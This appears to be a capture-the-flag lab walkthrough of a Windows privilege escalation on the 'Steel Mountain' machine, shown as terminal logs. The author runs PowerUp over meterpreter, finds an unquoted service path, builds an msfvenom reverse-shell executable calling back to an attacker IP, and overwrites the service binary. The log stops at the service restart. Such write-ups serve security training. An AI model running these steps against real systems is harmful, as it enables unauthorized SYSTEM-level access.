Downloading powerup

```
root@kali:~/Desktop/steelmountain# wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
--2020-11-13 00:27:28--  https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.192.133, 151.101.128.133, 151.101.64.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.192.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 600580 (587K) [text/plain]
Saving to: 'PowerUp.ps1'
```

Uploading powerup via meterpreter

```
meterpreter > dir
Listing: C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
==========================================================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2020-11-13 00:24:52 +0800  %TEMP%
100666/rw-rw-rw-  174     fil   2019-09-27 19:07:07 +0800  desktop.ini
100777/rwxrwxrwx  760320  fil   2019-09-27 17:24:35 +0800  hfs.exe

meterpreter > upload PowerUp.ps1
[*] uploading  : PowerUp.ps1 -> PowerUp.ps1
[*] Uploaded 586.50 KiB of 586.50 KiB (100.0%): PowerUp.ps1 -> PowerUp.ps1
[*] uploaded   : PowerUp.ps1 -> PowerUp.ps1
meterpreter >
```

Loading powershell in meterpreter

```
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS >
```

Loading powerup

```
PS > dir


    Directory: C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup


Mode                 LastWriteTime     Length Name
----                 -------------     ------ ----
d----         11/12/2020   8:25 AM            %TEMP%
-a---          2/16/2014  12:58 PM     760320 hfs.exe
-a---         11/12/2020   8:28 AM     600580 PowerUp.ps1


PS > . .\PowerUp.ps1
PS > Invoke-AllChecks
```

Unquoted service path

```
ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit; IdentityReference=STEELMOUNTAIN\bill;
                 Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe;
                 IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths
```

Creating payload using msfvenom

```
root@kali:~/Desktop/steelmountain# msfvenom -p windows/shell_reverse_tcp LHOST=10.4.19.210 LPORT=443 -e x86/shikata_ga_nai -f
exe -o Advanced.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of exe file: 73802 bytes
Saved as: Advanced.exe
root@kali:~/Desktop/steelmountain#
```

Uploading payload to target

```
meterpreter > upload Advanced.exe
[*] uploading  : Advanced.exe -> Advanced.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): Advanced.exe -> Advanced.exe
[*] uploaded   : Advanced.exe -> Advanced.exe
meterpreter >
```

Copy payload to target dir

```
PS > copy Advanced.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\"
PS > cd "C:\Program Files (x86)\IObit\Advanced SystemCare\"
```

Making backup of target service

```
PS > copy ASCService.exe ASCService.exe.old
PS > dir ASCService.exe.old


    Directory: C:\Program Files (x86)\IObit\Advanced SystemCare


Mode                 LastWriteTime     Length Name
----                 -------------     ------ ----
-a---          7/25/2016  10:01 AM     452384 ASCService.exe.old
```

Stopping vulnerable service

```
C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>sc stop "AdvancedSystemCareService9"
sc stop "AdvancedSystemCareService9"

SERVICE_NAME: AdvancedSystemCareService9
        TYPE               : 110  WIN32_OWN_PROCESS  (interactive)
        STATE              : 4  RUNNING
                             (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
```

Double check if service is stopped

```
C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>sc stop AdvancedSystemCareService9
sc stop AdvancedSystemCareService9
[SC] ControlService FAILED 1062:

The service has not been started.
```

After stopping service, copy payload to targetdirectory and restart service

```
C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 2E4A-906A

 Directory of C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

11/12/2020  08:44 AM    <DIR>          .
11/12/2020  08:44 AM    <DIR>          ..
11/12/2020  08:25 AM    <DIR>          %TEMP%
11/12/2020  08:44 AM            73,802 Advanced.exe
02/16/2014  12:58 PM           760,320 hfs.exe
11/12/2020  08:28 AM           600,580 PowerUp.ps1
               3 File(s)      1,434,702 bytes
               3 Dir(s)  44,155,887,616 bytes free

C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>copy Advanced.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
copy Advanced.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
Overwrite C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe? (Yes/No/All): yes
yes
        1 file(s) copied.

C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>sc start AdvancedSystemCareService9
```